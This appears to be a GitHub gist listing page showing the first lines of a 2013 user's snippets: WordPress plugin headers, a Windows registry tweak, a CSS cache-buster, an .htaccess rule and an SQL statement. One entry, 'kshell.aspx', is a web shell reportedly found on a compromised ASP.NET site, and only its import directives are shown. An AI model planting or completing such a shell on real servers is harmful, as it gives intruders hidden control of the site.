Skip to content

Instantly share code, notes, and snippets.

@roboter
roboter / livejournal-user.php
Created August 30, 2013 10:25
Wordpress plugin to change <lj user="username"> to html in blogs
<?php
/*
Plugin Name: Livejournal User
Plugin URI: http://www.begemotik.ee/LivejournalUserPlugin/
Description: This plugin replaces <lj user="username"> with the correct html code.
Author: Aleksei Prokopov.
Version: 0.1
Author URI: http://www.begemotik.ee/
*/
@roboter
roboter / linkfeed.php
Created September 4, 2013 13:27
linkfeed.ru links wordpress plugin
<?php
/*
Plugin Name: linkFeed
Plugin URI:
Description: linkFeed plugin
Version: 1.1.0
Author: RobbyRoboter
Author URI: http://www.begemotik.ee
*/
add_action('init', linkfeed_widget_register);
@roboter
roboter / sape.php
Created September 4, 2013 13:29
sape.php wordpress plugin widget
<?php
/*
Plugin Name: SapeFeed
Plugin URI:
Description: sape plugin
Version: 1.1.0
Author: RobbyRoboter
Author URI: http://www.begemotik.ee
*/
add_action('init', sape_widget_register);
@roboter
roboter / windows sucks
Created September 5, 2013 07:49
Enable Snap Feature on Lower Screen Resolution
To enable this feature, simply follow these simple steps:
1. Press "WIN+R" key combination to launch RUN dialog box then type regedit and press Enter. It'll open Registry Editor and go to following key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ImmersiveShell\
2. Under ImmersiveShell key, create a new key AppPositioner.
3. Now select newly created key "AppPositioner" and in right-side pane, create a new DWORD AlwaysEnableLSSnapping and set its value to 1
@roboter
roboter / kshell.aspx
Created September 5, 2013 08:17
Found Hacker Shell on ASP.NET site
<%@ Page ContentType="text/html" validateRequest="false" aspcompat="true"%>
<%@ Import Namespace="System.IO" %>
<%@ import namespace="System.Diagnostics" %>
<%@ import namespace="System.Threading" %>
<%@ import namespace="System.Text" %>
<%@ import namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net.Sockets"%>
<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ import Namespace="System.DirectoryServices" %>
<%@ import Namespace="Microsoft.Win32" %>
@roboter
roboter / gist:6447829
Created September 5, 2013 09:14
Gist rules!
One of our mostly harmless robots seems to think you are not a human.
Because of that, it's hidden your profile from the public. If you really are human, please contact support to have your profile reinstated.
We promise we won't require DNA proof of your humanity.
@roboter
roboter / cachebuster.php
Last active December 23, 2015 17:39
CSS cachebuster
<?php
function css($css_file)
{
echo '<link rel="stylesheet" href="/'.$css_file.'?filetime='.filemtime($css_file).'">';
}
@roboter
roboter / .htaccess
Created October 3, 2013 09:26
check if image in cache
RewriteEngine on
#check if image is in cache
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteCond %{REQUEST_URI} ^/img/(.+)$ #just for images
RewriteCond %{DOCUMENT_ROOT}/cache/%{REQUEST_URI} -f
RewriteRule ^(.+)+$ cache/$1 [L,QSA]
# SLIM Framework
RewriteCond %{REQUEST_FILENAME} !-f
@roboter
roboter / change_sql_table_engine.sql
Created November 6, 2013 07:43
Change SQL table ENGINE and COLLATE
ALTER TABLE `table_name` ENGINE = MYISAM DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
@roboter
roboter / blink_led.bat
Created December 24, 2013 16:15
Compile attiny26 blink